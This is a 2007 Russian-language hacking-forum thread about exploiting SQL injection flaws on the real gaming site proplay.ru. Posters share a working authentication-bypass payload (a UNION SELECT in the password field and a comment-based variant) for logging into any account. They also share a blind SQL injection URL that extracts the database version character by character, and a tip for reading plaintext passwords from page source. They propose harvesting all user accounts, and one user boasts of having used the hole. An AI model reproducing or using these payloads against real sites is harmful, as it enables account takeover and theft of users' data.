04.06.2007, 16:13
|
|
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
С нами:
10088966
Репутация:
646
|
|
Уязвимость на proplay.ru
Посодействовал l1ght, за что ему большое спасибо. Суть баги в том, что можно залогиниться под любым аккаунтом следующим способом:
Логин: -1
Пароль: ' union select id,null,null,null,null,null,null,null,null,null,nu ll,null,null,null,null,null,null,null,null,null,nu ll/*
Где id - id юзера.  |
|
|
04.06.2007, 16:37
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
С нами:
10188326
Репутация:
1866
|
|
Как уже сказал гема хватает просто:
user'/*
asd
И ещё, если хотите узнать пароль - зайдите в /users/settings/ там будет пароль за звёздочками, открывайте сорцы страницы - там будет пароль в чистом виде...
|
|
|
|
04.06.2007, 16:52
|
|
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
С нами:
10088966
Репутация:
646
|
|
Первый метод подойдет, скажем, для создания БД всех юзеров (путем перебора id).
|
|
|
|
05.06.2007, 17:25
|
|
Новичок
Регистрация: 01.06.2007
Сообщений: 7
С нами:
9970828
Репутация:
0
|
|
Эх.... жаль перекрыли уже ) Но я успел поюзать .... Респект авторам!!! 
Последний раз редактировалось loc; 05.06.2007 в 17:32..
|
|
|
|
07.06.2007, 15:24
|
|
Новичок
Регистрация: 23.08.2005
Сообщений: 6
С нами:
10902563
Репутация:
0
|
|
http://www.proplay.ru/forums/cs/7909'/
есть еще одна sql токо не как немогу подобрать правильное кол-во полей кто поможет?
|
|
|
|
09.06.2007, 11:45
|
|
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
С нами:
10088966
Репутация:
646
|
|
Как подбираешь? Это не скуля, а просто бажок в скрипте, в частности, в инклудинге. Ничего там не поимеешь
З.Ы. Хотя сорри, затупил. Теперь вижу...
Последний раз редактировалось Joker-jar; 09.06.2007 в 11:49..
Причина: гыыы
|
|
|
|
09.06.2007, 12:03
|
|
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
С нами:
10088966
Репутация:
646
|
|
На счет union точно не знаю. Посимвольный перебор:
Код:
http://www.proplay.ru/forums/q3'+and+ascii(lower(substring(version(),1,1)))=0x35+and+'1'='1/
MySQL 5.x |
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
